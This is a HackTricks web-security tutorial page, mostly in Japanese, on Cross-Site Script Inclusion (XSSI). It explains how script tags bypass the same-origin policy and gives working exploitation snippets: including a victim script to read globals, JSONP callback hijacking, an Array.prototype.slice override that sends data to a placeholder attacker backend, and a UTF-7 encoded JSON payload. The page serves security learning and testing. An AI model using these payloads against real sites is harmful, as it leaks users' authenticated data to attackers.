8.8 KiB
XSSI (Cross-Site Script Inclusion)
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
- HackTricks で企業を宣伝したい または HackTricks をPDFでダウンロードしたい 場合は SUBSCRIPTION PLANS をチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的な NFTsコレクションを見つける
- **💬 Discordグループ または telegramグループ に参加するか、Twitter 🐦 @carlospolopm をフォローする。
- ハッキングトリックを共有するために HackTricks と HackTricks Cloud のGitHubリポジトリにPRを提出する。
基本情報
クロスサイトスクリプトインクルージョン(XSSI) は、HTMLの script
タグの性質から生じる脆弱性です。ほとんどのリソースが 同一オリジンポリシー(SOP) の対象となるのに対し、スクリプトは異なるドメインから含めることができます。この動作は、異なるサーバーにホストされたライブラリや他のリソースの使用を容易にすることを意図していますが、潜在的なセキュリティリスクも導入します。
XSSI の主な特徴:
- SOPのバイパス: スクリプトは 同一オリジンポリシー の対象外であり、異なるドメイン間で含めることができます。
- データ露出: 攻撃者はこの動作を悪用して、
script
タグを介して読み込まれたデータを読むことができます。 - 動的JavaScript/JSONPへの影響: XSSI は、動的JavaScriptや JSON with Padding (JSONP) に特に関連があります。これらの技術はしばしば認証のために "ambient-authority" 情報(クッキーなど)を使用します。異なるホストにスクリプトリクエストが行われると、これらの資格情報(例:クッキー)が自動的にリクエストに含まれます。
- 認証トークンの漏洩: 攻撃者がユーザーのブラウザを騙して、自分が制御するサーバーからスクリプトをリクエストさせることができれば、これらのリクエストに含まれる機密情報にアクセスできるかもしれません。
タイプ
- 静的JavaScript - これはXSSIの従来の形式を表します。
- 認証付き静的JavaScript - このタイプはアクセスするために認証が必要なため、異なります。
- 動的JavaScript - コンテンツを動的に生成するJavaScriptを含みます。
- 非JavaScript - 直接JavaScriptを含まない脆弱性を指します。
**以下の情報は https://www.scip.ch/en/?labs.20160414 の要約です。詳細についてはそちらをご確認ください。
通常のXSSI
このアプローチでは、プライベート情報がグローバルにアクセス可能なJavaScriptファイルに埋め込まれます。攻撃者は、ファイルの読み取り、キーワード検索、正規表現などの方法を使用してこれらのファイルを特定できます。一旦特定されると、プライベート情報を含むスクリプトを悪意のあるコンテンツに含めることで、機密データへの不正アクセスが可能になります。以下に、例として悪用技術が示されています。
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
Dynamic-JavaScript-based-XSSI と Authenticated-JavaScript-XSSI
これらのXSSI攻撃タイプは、ユーザーのリクエストに応じてスクリプトに動的に機密情報が追加されることを含みます。検出は、クッキーを使用してリクエストを送信し、レスポンスを比較することで行うことができます。情報が異なる場合、機密情報の存在を示す可能性があります。このプロセスは、DetectDynamicJS Burp拡張機能などのツールを使用して自動化することができます。
機密データがグローバル変数に格納されている場合、通常のXSSIで使用される方法と類似した方法を使用して悪用することができます。ただし、機密データがJSONPレスポンスに含まれている場合、攻撃者はコールバック関数を乗っ取って情報を取得することができます。これは、グローバルオブジェクトを操作するか、JSONPレスポンスによって実行される関数を設定することによって行うことができます。
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
変数がグローバル名前空間に存在しない場合、_プロトタイプ改ざん_が悪用されることがあります。このテクニックは、JavaScriptの設計を活用し、コードの解釈が呼び出されたプロパティを特定するためにプロトタイプチェーンをトラバースすることに関与する点に基づいています。Array
のslice
などの特定の関数を上書きすることで、攻撃者は非グローバル変数にアクセスして情報を漏洩させることができます。
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
Further details on attack vectors can be found in the work of Security Researcher Sebastian Lekies, who maintains a list of vectors.
Non-Script-XSSI
Takeshi Terada's research introduces another form of XSSI, where Non-Script files, such as CSV, are leaked cross-origin by being included as sources in a script
tag. Historical instances of XSSI, such as Jeremiah Grossman’s 2006 attack to read a complete Google address book and Joe Walker’s 2007 JSON data leak, highlight the severity of these threats. Additionally, Gareth Heyes describes an attack variant involving UTF-7 encoded JSON to escape the JSON format and execute scripts, effective in certain browsers:
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする
- ハッキングトリックを共有するためにPRを HackTricks および HackTricks Cloud のGitHubリポジトリに提出する